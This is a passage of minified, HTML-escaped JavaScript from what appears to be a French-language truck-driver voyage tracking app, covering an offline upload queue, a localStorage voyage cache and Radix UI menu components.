Date().toISOString()})}async function i0e(e,t){return await mS(e,{mediaKind:t.mediaKind,voyageEtapeId:t.etapeId,description:t.description,occurredAt:new Date().toISOString(),file:t.file})}const pS=&quot;driver_offline_queue&quot;,HM=&quot;driver_offline_image_cache&quot;,qM=3;function Hl(){try{const e=localStorage.getItem(pS);return e?JSON.parse(e).map(r=&gt;{const n={...r};if(r.type===&quot;media&quot;||r.type===&quot;incident&quot;){const i=n;if(r.fileBase64&amp;&amp;r.fileName&amp;&amp;r.fileMime)try{i.file=J2(r.fileBase64,r.fileName,r.fileMime)}catch(s){console.error(&quot;Erreur lors de la conversion base64 en File:&quot;,s)}}else if(r.type===&quot;weighing&quot;){const i=n;if(r.ticketBase64&amp;&amp;r.ticketFileName&amp;&amp;r.ticketFileMime)try{i.ticket=J2(r.ticketBase64,r.ticketFileName,r.ticketFileMime)}catch(s){console.error(&quot;Erreur lors de la conversion du ticket de pesée base64 en File:&quot;,s)}}else if(r.type===&quot;fuel&quot;){const i=n;if(r.receiptBase64&amp;&amp;r.receiptFileName&amp;&amp;r.receiptFileMime)try{i.receipt=J2(r.receiptBase64,r.receiptFileName,r.receiptFileMime)}catch(s){console.error(&quot;Erreur lors de la conversion du reçu de carburant base64 en File:&quot;,s)}}else if(r.type===&quot;expense&quot;){const i=n;if(r.receiptBase64&amp;&amp;r.receiptFileName&amp;&amp;r.receiptFileMime)try{i.receipt=J2(r.receiptBase64,r.receiptFileName,r.receiptFileMime)}catch(s){console.error(&quot;Erreur lors de la conversion du reçu de dépense base64 en File:&quot;,s)}}return n}):[]}catch{return[]}}function GM(){try{const e=localStorage.getItem(pS);return e?JSON.parse(e):[]}catch{return[]}}async function mv(e){const t=Hl(),r={...e,id:`offline_${Date.now()}_${Math.random().toString(36).substr(2,9)}`,createdAt:new Date().toISOString(),retryCount:0,status:&quot;pending&quot;};return t.push(r),await Kf(t),r.id}async function VM(e){const r=Hl().filter(n=&gt;n.id!==e);await Kf(r)}async function WM(e){const t=Hl(),r=t.find(n=&gt;n.id===e);r&amp;&amp;(r.status=&quot;uploading&quot;,await Kf(t))}async function KM(e){const t=Hl(),r=t.find(n=&gt;n.id===e);r&amp;&amp;(r.retryCount++,r.status=r.retryCount&gt;=qM?&quot;failed&quot;:&quot;pending&quot;,await Kf(t))}async function Z2(e){return new Promise((t,r)=&gt;{const n=new FileReader;n.onload=()=&gt;t(n.result),n.onerror=r,n.readAsDataURL(e)})}function J2(e,t,r){const n=e.split(&quot;,&quot;),i=n[0].match(/:(.*?);/)?.[1]||r,s=atob(n[1]);let o=s.length;const l=new Uint8Array(o);for(;o--;)l[o]=s.charCodeAt(o);return new File([l],t,{type:i})}async function Kf(e){try{const t=await Promise.all(e.map(async r=&gt;{const n={...r};if(r.type===&quot;media&quot;||r.type===&quot;incident&quot;){const i=r;if(i.file)try{n.fileBase64=await Z2(i.file),n.fileName=i.file.name,n.fileMime=i.file.type}catch(s){console.error(&quot;Erreur lors de la conversion du fichier en base64:&quot;,s)}}else if(r.type===&quot;weighing&quot;){if(r.ticket)try{n.ticketBase64=await Z2(r.ticket),n.ticketFileName=r.ticket.name,n.ticketFileMime=r.ticket.type}catch(i){console.error(&quot;Erreur lors de la conversion du ticket de pesée en base64:&quot;,i)}}else if(r.type===&quot;fuel&quot;){if(r.receipt)try{n.receiptBase64=await Z2(r.receipt),n.receiptFileName=r.receipt.name,n.receiptFileMime=r.receipt.type}catch(i){console.error(&quot;Erreur lors de la conversion du reçu de carburant en base64:&quot;,i)}}else if(r.type===&quot;expense&quot;&amp;&amp;r.receipt)try{n.receiptBase64=await Z2(r.receipt),n.receiptFileName=r.receipt.name,n.receiptFileMime=r.receipt.type}catch(i){console.error(&quot;Erreur lors de la conversion du reçu de dépense en base64:&quot;,i)}return n}));localStorage.setItem(pS,JSON.stringify(t))}catch(t){if(t instanceof DOMException&amp;&amp;(t.code===22||t.name===&quot;QuotaExceededError&quot;)){await YM();try{const r=Hl();await Kf(r)}catch{await ZM(12);try{const n=Hl();await Kf(n)}catch{const o=Hl().sort((l,c)=&gt;new Date(c.createdAt).getTime()-new Date(l.createdAt).getTime()).slice(0,50);await Kf(o)}}}}}let II=!1;async function T4(){if(II)return{success:0,failed:0};II=!0;try{const e=Hl().filter(n=&gt;n.status===&quot;pending&quot;);let t=0,r=0;for(const n of e)try{if(await WM(n.id),n.type===&quot;incident&quot;){const o=n,{createVoyageIncident:l,createIncidentMessage:c}=await On(async()=&gt;{const{createVoyageIncident:d,createIncidentMessage:u}=await Promise.resolve().then(()=&gt;F$);return{createVoyageIncident:d,createIncidentMessage:u}},void 0);if(o.incidentId&amp;&amp;o.messageType)o.messageType===&quot;note&quot;?await c(o.voyageId,o.incidentId,{type:&quot;message&quot;,description:o.description,senderRole:&quot;chauffeur&quot;}):o.file&amp;&amp;await c(o.voyageId,o.incidentId,{type:&quot;media&quot;,mediaKind:o.messageType,description:o.description,file:o.file,senderRole:&quot;chauffeur&quot;});else if(o.incidentType&amp;&amp;o.messageType){const d=await l(o.voyageId,{type:o.incidentType,voyageEtapeId:o.etapeId,priority:&quot;normale&quot;});o.messageType===&quot;note&quot;?await c(o.voyageId,d.id,{type:&quot;message&quot;,description:o.description,senderRole:&quot;chauffeur&quot;}):o.file&amp;&amp;await c(o.voyageId,d.id,{type:&quot;media&quot;,mediaKind:o.messageType,description:o.description,file:o.file,senderRole:&quot;chauffeur&quot;})}}else if(n.type===&quot;media&quot;){const o=n;o.file&amp;&amp;await i0e(o.voyageId,{mediaKind:o.mediaKind,etapeId:o.etapeId,description:o.description,file:o.file})}else if(n.type===&quot;note&quot;){const o=n;await n0e(o.voyageId,{type:o.type,etapeId:o.etapeId,description:o.description})}else if(n.type===&quot;reachStep&quot;){const{reachVoyageStep:o}=await On(async()=&gt;{const{reachVoyageStep:l}=await Promise.resolve().then(()=&gt;Xde);return{reachVoyageStep:l}},void 0);await o(n.voyageId,n.stepId)}else if(n.type===&quot;weighing&quot;){const{createVoyageEventMedia:o}=await On(async()=&gt;{const{createVoyageEventMedia:c}=await Promise.resolve().then(()=&gt;$M);return{createVoyageEventMedia:c}},void 0),{apiRequest:l}=await On(async()=&gt;{const{apiRequest:c}=await Promise.resolve().then(()=&gt;DO);return{apiRequest:c}},void 0);if(n.isUnloadingWeighing&amp;&amp;n.trajetId&amp;&amp;n.ticket){const c=new FormData;c.append(&quot;photo&quot;,n.ticket),n.weight&amp;&amp;c.append(&quot;weight&quot;,n.weight),await l(`/api/voyages/${n.voyageId}/trajets/${n.trajetId}/unloading-ticket`,{method:&quot;POST&quot;,body:c})}else if(n.ticket){const c=n.weight?`PESÉE - ${n.weight} kg`:&quot;PESÉE&quot;;await o(n.voyageId,{mediaKind:&quot;photo&quot;,description:c,file:n.ticket,occurredAt:new Date().toISOString()})}}else if(n.type===&quot;fuel&quot;){const{createVoyageFuelFill:o}=await On(async()=&gt;{const{createVoyageFuelFill:l}=await Promise.resolve().then(()=&gt;Yfe);return{createVoyageFuelFill:l}},void 0);await o(n.voyageId,{amount_l:n.amountL,cost_fcfa:n.costFcfa,receipt:n.receipt||null,voyage_trajet_id:n.trajetId||null,filled_at:n.filledAt||null})}else if(n.type===&quot;expense&quot;){const{createVoyageExpense:o}=await On(async()=&gt;{const{createVoyageExpense:l}=await Promise.resolve().then(()=&gt;y$);return{createVoyageExpense:l}},void 0);await o(n.voyageId,{category:n.category,amount_fcfa:n.amountFcfa,description:n.description||void 0,receipt:n.receipt||void 0,voyage_trajet_id:n.trajetId||null,expense_at:n.expenseAt||void 0})}else if(n.type===&quot;startVoyage&quot;){const{startVoyage:o}=await On(async()=&gt;{const{startVoyage:l}=await Promise.resolve().then(()=&gt;BI);return{startVoyage:l}},void 0);await o(n.voyageId)}else if(n.type===&quot;startReturn&quot;){const{startVoyageReturn:o}=await On(async()=&gt;{const{startVoyageReturn:l}=await Promise.resolve().then(()=&gt;BI);return{startVoyageReturn:l}},void 0);await o(n.voyageId)}else if(n.type===&quot;closeVoyage&quot;){const{closeVoyage:o}=await On(async()=&gt;{const{closeVoyage:c}=await Promise.resolve().then(()=&gt;BI);return{closeVoyage:c}},void 0);await o(n.voyageId);const{clearVoyageCache:l}=await On(async()=&gt;{const{clearVoyageCache:c}=await Promise.resolve().then(()=&gt;FA);return{clearVoyageCache:c}},void 0);l(n.voyageId)}const s=GM().find(o=&gt;o.id===n.id);s&amp;&amp;(s.type===&quot;fuel&quot;&amp;&amp;s.receiptBase64||s.type===&quot;expense&quot;&amp;&amp;s.receiptBase64?jI(n.id,s.receiptBase64):s.type===&quot;weighing&quot;&amp;&amp;s.ticketBase64&amp;&amp;jI(n.id,s.ticketBase64)),await VM(n.id),t++}catch{await KM(n.id),r++}return{success:t,failed:r}}finally{II=!1}}async function YM(){const t=Hl().filter(r=&gt;r.status!==&quot;failed&quot;&amp;&amp;r.status!==&quot;synced&quot;&amp;&amp;(r.retryCount&lt;qM||r.status===&quot;pending&quot;));await Kf(t)}async function ZM(e=24){const t=Hl(),r=Date.now(),n=e*60*60*1e3,i=t.filter(s=&gt;{if(s.status===&quot;synced&quot;||s.status===&quot;failed&quot;)return!1;const o=new Date(s.createdAt).getTime();return!(r-o&gt;n)});await Kf(i)}function gS(){return Hl().filter(e=&gt;e.status===&quot;pending&quot;).length}function jI(e,t){try{const r=a0e();r[e]=t,localStorage.setItem(HM,JSON.stringify(r))}catch(r){console.error(&quot;Erreur lors du cache de l&#039;image:&quot;,r)}}function a0e(){try{const e=localStorage.getItem(HM);return e?JSON.parse(e):{}}catch{return{}}}const h1=Object.freeze(Object.defineProperty({__proto__:null,addToQueue:mv,cleanupFailedEvents:YM,cleanupOldEvents:ZM,getPendingCount:gS,getPendingEvents:Hl,getPendingEventsBase64:GM,markAsFailed:KM,markAsUploading:WM,removeFromQueue:VM,syncPendingEvents:T4},Symbol.toStringTag,{value:&quot;Module&quot;})),Yf=&quot;driver_voyage_cache_&quot;,JM=1440*60*1e3;function fy(e,t){try{const r=gc(e),n={voyage:t.voyage??r?.voyage,trips:t.trips||r?.trips||[],steps:t.steps??r?.steps,events:t.events??r?.events,timestamp:Date.now()};localStorage.setItem(`${Yf}${e}`,JSON.stringify(n))}catch(r){console.error(&quot;Erreur lors de la sauvegarde du cache:&quot;,r)}}function AS(e,t){try{const r=gc(e);if(r)r.events=t,r.timestamp=Date.now(),localStorage.setItem(`${Yf}${e}`,JSON.stringify(r));else{const n={voyage:null,trips:[],events:t,timestamp:Date.now()};localStorage.setItem(`${Yf}${e}`,JSON.stringify(n))}}catch(r){console.error(&quot;Erreur lors de la sauvegarde du cache des événements:&quot;,r)}}function XM(e){try{return gc(e)?.events||null}catch(t){return console.error(&quot;Erreur lors de la récupération du cache des événements:&quot;,t),null}}function gc(e){try{const t=localStorage.getItem(`${Yf}${e}`);if(!t)return null;const r=JSON.parse(t);return r.voyage&amp;&amp;r.voyage.status===&quot;completed&quot;?(localStorage.removeItem(`${Yf}${e}`),null):Date.now()-r.timestamp&gt;JM?(localStorage.removeItem(`${Yf}${e}`),null):r}catch(t){return console.error(&quot;Erreur lors de la récupération du cache:&quot;,t),null}}function Vx(){try{const e=Object.keys(localStorage),t=Date.now();e.forEach(r=&gt;{if(r.startsWith(Yf))try{const n=localStorage.getItem(r);if(n){const i=JSON.parse(n);if(i.voyage&amp;&amp;i.voyage.status===&quot;completed&quot;){localStorage.removeItem(r);return}t-i.timestamp&gt;JM&amp;&amp;localStorage.removeItem(r)}}catch{}})}catch(e){console.error(&quot;Erreur lors du nettoyage du cache:&quot;,e)}}function s0e(e){try{localStorage.removeItem(`${Yf}${e}`)}catch(t){console.error(&quot;Erreur lors de la suppression du cache:&quot;,t)}}function xS(){try{const e=Object.keys(localStorage);let t=0;return e.forEach(r=&gt;{r.startsWith(Yf)&amp;&amp;(localStorage.removeItem(r),t++)}),t}catch(e){return console.error(&quot;Erreur lors du vidage du cache:&quot;,e),0}}const FA=Object.freeze(Object.defineProperty({__proto__:null,cacheVoyageData:fy,cacheVoyageEvents:AS,cleanupExpiredCache:Vx,clearAllVoyageCache:xS,clearVoyageCache:s0e,getCachedVoyageData:gc,getCachedVoyageEvents:XM},Symbol.toStringTag,{value:&quot;Module&quot;}));function NI(){try{const t=Object.keys(localStorage).filter(n=&gt;n.startsWith(&quot;driver_voyage_cache_&quot;));if(t.length===0)return;let r=null;for(const n of t)try{const i=localStorage.getItem(n);if(i){const s=JSON.parse(i);if(s.voyage&amp;&amp;s.voyage.status===&quot;completed&quot;)continue;(!r||s.timestamp&gt;r.timestamp)&amp;&amp;(r={data:s,timestamp:s.timestamp})}}catch{}if(r?.data?.voyage)return{voyage:r.data.voyage,trips:r.data.trips||[],message:&quot;Données en cache (mode hors ligne)&quot;}}catch{}}function hy(){const[e,t]=I.useState(()=&gt;{try{return navigator.onLine}catch{return!0}});I.useEffect(()=&gt;{const i=()=&gt;t(!0),s=()=&gt;t(!1);try{return window.addEventListener(&quot;online&quot;,i),window.addEventListener(&quot;offline&quot;,s),()=&gt;{window.removeEventListener(&quot;online&quot;,i),window.removeEventListener(&quot;offline&quot;,s)}}catch{}},[]),Vx();const r=NI(),n=r&amp;&amp;r.voyage?.status!==&quot;completed&quot;?r:void 0;return cr({queryKey:[&quot;/api/driver/current-voyage&quot;],queryFn:async()=&gt;{if(!e){const i=NI();return i&amp;&amp;i.voyage&amp;&amp;i.voyage.status!==&quot;completed&quot;?{...i,trips:i.trips||[]}:{voyage:null,trips:[],message:&quot;Aucun voyage en cache. Veuillez vous connecter pour charger les données.&quot;}}try{const i=await $t(&quot;/api/driver/current-voyage&quot;);if(i.voyage?.id){if(i.voyage.status===&quot;completed&quot;){const{clearVoyageCache:s}=await On(async()=&gt;{const{clearVoyageCache:o}=await Promise.resolve().then(()=&gt;FA);return{clearVoyageCache:o}},void 0);return s(i.voyage.id),{voyage:null,trips:[],message:&quot;Aucun voyage actif&quot;}}try{fy(i.voyage.id,{voyage:i.voyage,trips:i.trips||[]})}catch(s){console.error(&quot;[DriverVoyage] Erreur lors de la sauvegarde du cache:&quot;,s)}}return i}catch{if(!e){const s=NI();if(s&amp;&amp;s.voyage&amp;&amp;s.voyage.status!==&quot;completed&quot;)return{...s,trips:s.trips||[]}}return{voyage:null,trips:[],message:&quot;Aucun voyage actif trouvé&quot;}}},...e?{placeholderData:n?{...n,trips:n.trips||[]}:void 0}:{initialData:n?{...n,trips:n.trips||[]}:{voyage:null,trips:[],message:&quot;Aucun voyage en cache. Veuillez vous connecter pour charger les données.&quot;}},refetchInterval:e?3e4:!1,retry:!1,staleTime:e?0:1/0,gcTime:e?300*1e3:1/0,refetchOnWindowFocus:e,refetchOnReconnect:!0})}function o0e({isOnline:e,hasCache:t=!0,className:r}){return e?a.jsxs(&quot;div&quot;,{className:nr(&quot;flex items-end gap-0.5 h-4&quot;,r),title:t?&quot;En ligne - Cache à jour&quot;:&quot;En ligne&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-1 bg-green-500 h-1.5 rounded-t&quot;}),a.jsx(&quot;div&quot;,{className:&quot;w-1 bg-green-500 h-2.5 rounded-t&quot;}),a.jsx(&quot;div&quot;,{className:&quot;w-1 bg-green-500 h-3.5 rounded-t&quot;}),a.jsx(&quot;div&quot;,{className:&quot;w-1 bg-green-500 h-4 rounded-t&quot;})]}):a.jsx(&quot;div&quot;,{className:nr(&quot;flex items-center gap-1&quot;,r),title:&quot;Hors ligne&quot;,children:a.jsx(qd,{className:&quot;h-4 w-4 text-red-500&quot;})})}var l0e=I.createContext(void 0);function my(e){const t=I.useContext(l0e);return e||t||&quot;ltr&quot;}var SI=&quot;rovingFocusGroup.onEntryFocus&quot;,c0e={bubbles:!1,cancelable:!0},py=&quot;RovingFocusGroup&quot;,[oN,eU,u0e]=Kv(py),[d0e,R4]=Sc(py,[u0e]),[f0e,h0e]=d0e(py),tU=I.forwardRef((e,t)=&gt;a.jsx(oN.Provider,{scope:e.__scopeRovingFocusGroup,children:a.jsx(oN.Slot,{scope:e.__scopeRovingFocusGroup,children:a.jsx(m0e,{...e,ref:t})})}));tU.displayName=py;var m0e=I.forwardRef((e,t)=&gt;{const{__scopeRovingFocusGroup:r,orientation:n,loop:i=!1,dir:s,currentTabStopId:o,defaultCurrentTabStopId:l,onCurrentTabStopIdChange:c,onEntryFocus:d,preventScrollOnEntryFocus:u=!1,...h}=e,p=I.useRef(null),A=ri(t,p),y=my(s),[v,w]=a0({prop:o,defaultProp:l??null,onChange:c,caller:py}),[j,E]=I.useState(!1),S=ql(d),_=eU(r),C=I.useRef(!1),[Q,R]=I.useState(0);return I.useEffect(()=&gt;{const T=p.current;if(T)return T.addEventListener(SI,S),()=&gt;T.removeEventListener(SI,S)},[S]),a.jsx(f0e,{scope:r,orientation:n,dir:y,loop:i,currentTabStopId:v,onItemFocus:I.useCallback(T=&gt;w(T),[w]),onItemShiftTab:I.useCallback(()=&gt;E(!0),[]),onFocusableItemAdd:I.useCallback(()=&gt;R(T=&gt;T+1),[]),onFocusableItemRemove:I.useCallback(()=&gt;R(T=&gt;T-1),[]),children:a.jsx(an.div,{tabIndex:j||Q===0?-1:0,&quot;data-orientation&quot;:n,...h,ref:A,style:{outline:&quot;none&quot;,...e.style},onMouseDown:yr(e.onMouseDown,()=&gt;{C.current=!0}),onFocus:yr(e.onFocus,T=&gt;{const M=!C.current;if(T.target===T.currentTarget&amp;&amp;M&amp;&amp;!j){const O=new CustomEvent(SI,c0e);if(T.currentTarget.dispatchEvent(O),!O.defaultPrevented){const $=_().filter(G=&gt;G.focusable),P=$.find(G=&gt;G.active),L=$.find(G=&gt;G.id===v),W=[P,L,...$].filter(Boolean).map(G=&gt;G.ref.current);iU(W,u)}}C.current=!1}),onBlur:yr(e.onBlur,()=&gt;E(!1))})})}),rU=&quot;RovingFocusGroupItem&quot;,nU=I.forwardRef((e,t)=&gt;{const{__scopeRovingFocusGroup:r,focusable:n=!0,active:i=!1,tabStopId:s,children:o,...l}=e,c=su(),d=s||c,u=h0e(rU,r),h=u.currentTabStopId===d,p=eU(r),{onFocusableItemAdd:A,onFocusableItemRemove:y,currentTabStopId:v}=u;return I.useEffect(()=&gt;{if(n)return A(),()=&gt;y()},[n,A,y]),a.jsx(oN.ItemSlot,{scope:r,id:d,focusable:n,active:i,children:a.jsx(an.span,{tabIndex:h?0:-1,&quot;data-orientation&quot;:u.orientation,...l,ref:t,onMouseDown:yr(e.onMouseDown,w=&gt;{n?u.onItemFocus(d):w.preventDefault()}),onFocus:yr(e.onFocus,()=&gt;u.onItemFocus(d)),onKeyDown:yr(e.onKeyDown,w=&gt;{if(w.key===&quot;Tab&quot;&amp;&amp;w.shiftKey){u.onItemShiftTab();return}if(w.target!==w.currentTarget)return;const j=A0e(w,u.orientation,u.dir);if(j!==void 0){if(w.metaKey||w.ctrlKey||w.altKey||w.shiftKey)return;w.preventDefault();let S=p().filter(_=&gt;_.focusable).map(_=&gt;_.ref.current);if(j===&quot;last&quot;)S.reverse();else if(j===&quot;prev&quot;||j===&quot;next&quot;){j===&quot;prev&quot;&amp;&amp;S.reverse();const _=S.indexOf(w.currentTarget);S=u.loop?x0e(S,_+1):S.slice(_+1)}setTimeout(()=&gt;iU(S))}}),children:typeof o==&quot;function&quot;?o({isCurrentTabStop:h,hasTabStop:v!=null}):o})})});nU.displayName=rU;var p0e={ArrowLeft:&quot;prev&quot;,ArrowUp:&quot;prev&quot;,ArrowRight:&quot;next&quot;,ArrowDown:&quot;next&quot;,PageUp:&quot;first&quot;,Home:&quot;first&quot;,PageDown:&quot;last&quot;,End:&quot;last&quot;};function g0e(e,t){return t!==&quot;rtl&quot;?e:e===&quot;ArrowLeft&quot;?&quot;ArrowRight&quot;:e===&quot;ArrowRight&quot;?&quot;ArrowLeft&quot;:e}function A0e(e,t,r){const n=g0e(e.key,r);if(!(t===&quot;vertical&quot;&amp;&amp;[&quot;ArrowLeft&quot;,&quot;ArrowRight&quot;].includes(n))&amp;&amp;!(t===&quot;horizontal&quot;&amp;&amp;[&quot;ArrowUp&quot;,&quot;ArrowDown&quot;].includes(n)))return p0e[n]}function iU(e,t=!1){const r=document.activeElement;for(const n of e)if(n===r||(n.focus({preventScroll:t}),document.activeElement!==r))return}function x0e(e,t){return e.map((r,n)=&gt;e[(t+n)%e.length])}var aU=tU,sU=nU;function v0e(e){const t=y0e(e),r=I.forwardRef((n,i)=&gt;{const{children:s,...o}=n,l=I.Children.toArray(s),c=l.find(w0e);if(c){const d=c.props.children,u=l.map(h=&gt;h===c?I.Children.count(d)&gt;1?I.Children.only(null):I.isValidElement(d)?d.props.children:null:h);return a.jsx(t,{...o,ref:i,children:I.isValidElement(d)?I.cloneElement(d,void 0,u):null})}return a.jsx(t,{...o,ref:i,children:s})});return r.displayName=`${e}.Slot`,r}function y0e(e){const t=I.forwardRef((r,n)=&gt;{const{children:i,...s}=r;if(I.isValidElement(i)){const o=C0e(i),l=E0e(s,i.props);return i.type!==I.Fragment&amp;&amp;(l.ref=n?rh(n,o):o),I.cloneElement(i,l)}return I.Children.count(i)&gt;1?I.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var b0e=Symbol(&quot;radix.slottable&quot;);function w0e(e){return I.isValidElement(e)&amp;&amp;typeof e.type==&quot;function&quot;&amp;&amp;&quot;__radixId&quot;in e.type&amp;&amp;e.type.__radixId===b0e}function E0e(e,t){const r={...t};for(const n in t){const i=e[n],s=t[n];/^on[A-Z]/.test(n)?i&amp;&amp;s?r[n]=(...l)=&gt;{const c=s(...l);return i(...l),c}:i&amp;&amp;(r[n]=i):n===&quot;style&quot;?r[n]={...i,...s}:n===&quot;className&quot;&amp;&amp;(r[n]=[i,s].filter(Boolean).join(&quot; &quot;))}return{...e,...r}}function C0e(e){let t=Object.getOwnPropertyDescriptor(e.props,&quot;ref&quot;)?.get,r=t&amp;&amp;&quot;isReactWarning&quot;in t&amp;&amp;t.isReactWarning;return r?e.ref:(t=Object.getOwnPropertyDescriptor(e,&quot;ref&quot;)?.get,r=t&amp;&amp;&quot;isReactWarning&quot;in t&amp;&amp;t.isReactWarning,r?e.props.ref:e.props.ref||e.ref)}var lN=[&quot;Enter&quot;,&quot; &quot;],I0e=[&quot;ArrowDown&quot;,&quot;PageUp&quot;,&quot;Home&quot;],oU=[&quot;ArrowUp&quot;,&quot;PageDown&quot;,&quot;End&quot;],j0e=[...I0e,...oU],N0e={ltr:[...lN,&quot;ArrowRight&quot;],rtl:[...lN,&quot;ArrowLeft&quot;]},S0e={ltr:[&quot;ArrowLeft&quot;],rtl:[&quot;ArrowRight&quot;]},gy=&quot;Menu&quot;,[pv,B0e,k0e]=Kv(gy),[Rg,lU]=Sc(gy,[k0e,G1,R4]),P4=G1(),cU=R4(),[_0e,Pg]=Rg(gy),[D0e,Ay]=Rg(gy),uU=e=&gt;{const{__scopeMenu:t,open:r=!1,children:n,dir:i,onOpenChange:s,modal:o=!0}=e,l=P4(t),[c,d]=I.useState(null),u=I.useRef(!1),h=ql(s),p=my(i);return I.useEffect(()=&gt;{const A=()=&gt;{u.current=!0,document.addEventListener(&quot;pointerdown&quot;,y,{capture:!0,once:!0}),document.addEventListener(&quot;pointermove&quot;,y,{capture:!0,once:!0})},y=()=&gt;u.current=!1;return document.addEventListener(&quot;keydown&quot;,A,{capture:!0}),()=&gt;{document.removeEventListener(&quot;keydown&quot;,A,{capture:!0}),document.removeEventListener(&quot;pointerdown&quot;,y,{capture:!0}),document.removeEventListener(&quot;pointermove&quot;,y,{capture:!0})}},[]),a.jsx(J6,{...l,children:a.jsx(_0e,{scope:t,open:r,onOpenChange:h,content:c,onContentChange:d,children:a.jsx(D0e,{scope:t,onClose:I.useCallback(()=&gt;h(!1),[h]),isUsingKeyboardRef:u,dir:p,modal:o,children:n})})})};uU.displayName=gy;var T0e=&quot;MenuAnchor&quot;,vS=I.forwardRef((e,t)=&gt;{const{__scopeMenu:r,...n}=e,i=P4(r);return a.jsx(X6,{...i,...n,ref:t})});vS.displayName=T0e;var yS=&quot;MenuPortal&quot;,[R0e,dU]=Rg(yS,{forceMount:void 0}),fU=e=&gt;{const{__scopeMenu:t,forceMount:r,children:n,container:i}=e,s=Pg(yS,t);return a.jsx(R0e,{scope:t,forceMount:r,children:a.jsx(hu,{present:r||s.open,children:a.jsx(Yv,{asChild:!0,container:i,children:n})})})};fU.displayName=yS;var e0=&quot;MenuContent&quot;,[P0e,bS]=Rg(e0),hU=I.forwardRef((e,t)=&gt;{const r=dU(e0,e.__scopeMenu),{forceMount:n=r.forceMount,...i}=e,s=Pg(e0,e.__scopeMenu),o=Ay(e0,e.__scopeMenu);return a.jsx(pv.Provider,{scope:e.__scopeMenu,children:a.jsx(hu,{present:n||s.open,children:a.jsx(pv.Slot,{scope:e.__scopeMenu,children:o.modal?a.jsx(Q0e,{...i,ref:t}):a.jsx(F0e,{...i,ref:t})})})})}),Q0e=I.forwardRef((e,t)=&gt;{const r=Pg(e0,e.__scopeMenu),n=I.useRef(null),i=ri(t,n);return I.useEffect(()=&gt;{const s=n.current;if(s)return sS(s)},[]),a.jsx(wS,{...e,ref:i,trapFocus:r.open,disableOutsidePointerEvents:r.open,disableOutsideScroll:!0,onFocusOutside:yr(e.onFocusOutside,s=&gt;s.preventDefault(),{checkForDefaultPrevented:!1}),onDismiss:()=&gt;r.onOpenChange(!1)})}),F0e=I.forwardRef((e,t)=&gt;{const r=Pg(e0,e.__scopeMenu);return a.jsx(wS,{...e,ref:t,trapFocus:!1,disableOutsidePointerEvents:!1,disableOutsideScroll:!1,onDismiss:()=&gt;r.onOpenChange(!1)})}),O0e=v0e(&quot;MenuContent.ScrollLock&quot;),wS=I.forwardRef((e,t)=&gt;{const{__scopeMenu:r,loop:n=!1,trapFocus:i,onOpenAutoFocus:s,onCloseAutoFocus:o,disableOutsidePointerEvents:l,onEntryFocus:c,onEscapeKeyDown:d,onPointerDownOutside:u,onFocusOutside:h,onInteractOutside:p,onDismiss:A,disableOutsideScroll:y,...v}=e,w=Pg(e0,r),j=Ay(e0,r),E=P4(r),S=cU(r),_=B0e(r),[C,Q]=I.useState(null),R=I.useRef(null),T=ri(t,R,w.onContentChange),M=I.useRef(0),O=I.useRef(&quot;&quot;),$=I.useRef(0),P=I.useRef(null),L=I.useRef(&quot;right&quot;),X=I.useRef(0),W=y?N4:I.Fragment,G=y?{as:O0e,allowPinchZoom:!0}:void 0,J=ee=&gt;{const ne=O.current+ee,V=_().filter(we=&gt;!we.disabled),ue=document.activeElement,de=V.find(we=&gt;we.ref.current===ue)?.textValue,xe=V.map(we=&gt;we.textValue),_e=Y0e(xe,ne,de),Ce=V.find(we=&gt;we.textValue===_e)?.ref.current;(function we(ve){O.current=ve,window.clearTimeout(M.current),ve!==&quot;&quot;&amp;&amp;(M.current=window.setTimeout(()=&gt;we(&quot;&quot;),1e3))})(ne),Ce&amp;&amp;setTimeout(()=&gt;Ce.focus())};I.useEffect(()=&gt;()=&gt;window.clearTimeout(M.current),[]),aS();const q=I.useCallback(ee=&gt;L.current===P.current?.side&amp;&amp;J0e(ee,P.current?.area),[]);return a.jsx(P0e,{scope:r,searchRef:O,onItemEnter:I.useCallback(ee=&gt;{q(ee)&amp;&amp;ee.preventDefault()},[q]),onItemLeave:I.useCallback(ee=&gt;{q(ee)||(R.current?.focus(),Q(null))},[q]),onTriggerLeave:I.useCallback(ee=&gt;{q(ee)&amp;&amp;ee.preventDefault()},[q]),pointerGraceTimerRef:$,onPointerGraceIntentChange:I.useCallback(ee=&gt;{P.current=ee},[]),children:a.jsx(W,{...G,children:a.jsx(I4,{asChild:!0,trapped:i,onMountAutoFocus:yr(s,ee=&gt;{ee.preventDefault(),R.current?.focus({preventScroll:!0})}),onUnmountAutoFocus:o,children:a.jsx(M1,{asChild:!0,disableOutsidePointerEvents:l,onEscapeKeyDown:d,onPointerDownOutside:u,onFocusOutside:h,onInteractOutside:p,onDismiss:A,children:a.jsx(aU,{asChild:!0,...S,dir:j.dir,orientation:&quot;vertical&quot;,loop:n,currentTabStopId:C,onCurrentTabStopIdChange:Q,onEntryFocus:yr(c,ee=&gt;{j.isUsingKeyboardRef.current||ee.preventDefault()}),preventScrollOnEntryFocus:!0,children:a.jsx(eS,{role:&quot;menu&quot;,&quot;aria-orientation&quot;:&quot;vertical&quot;,&quot;data-state&quot;:BU(w.open),&quot;data-radix-menu-content&quot;:&quot;&quot;,dir:j.dir,...E,...v,ref:T,style:{outline:&quot;none&quot;,...v.style},onKeyDown:yr(v.onKeyDown,ee=&gt;{const V=ee.target.closest(&quot;[data-radix-menu-content]&quot;)===ee.currentTarget,ue=ee.ctrlKey||ee.altKey||ee.metaKey,de=ee.key.length===1;V&amp;&amp;(ee.key===&quot;Tab&quot;&amp;&amp;ee.preventDefault(),!ue&amp;&amp;de&amp;&amp;J(ee.key));const xe=R.current;if(ee.target!==xe||!j0e.includes(ee.key))return;ee.preventDefault();const Ce=_().filter(we=&gt;!we.disabled).map(we=&gt;we.ref.current);oU.includes(ee.key)&amp;&amp;Ce.reverse(),W0e(Ce)}),onBlur:yr(e.onBlur,ee=&gt;{ee.currentTarget.contains(ee.target)||(window.clearTimeout(M.current),O.current=&quot;&quot;)}),onPointerMove:yr(e.onPointerMove,gv(ee=&gt;{const ne=ee.target,V=X.current!==ee.clientX;if(ee.currentTarget.contains(ne)&amp;&amp;V){const ue=ee.clientX&gt;X.current?&quot;right&quot;:&quot;left&quot;;L.current=ue,X.current=ee.clientX}}))})})})})})})});hU.displayName=e0;var L0e=&quot;MenuGroup&quot;,ES=I.forwardRef((e,t)=&gt;{const{__scopeMenu:r,...n}=e;return 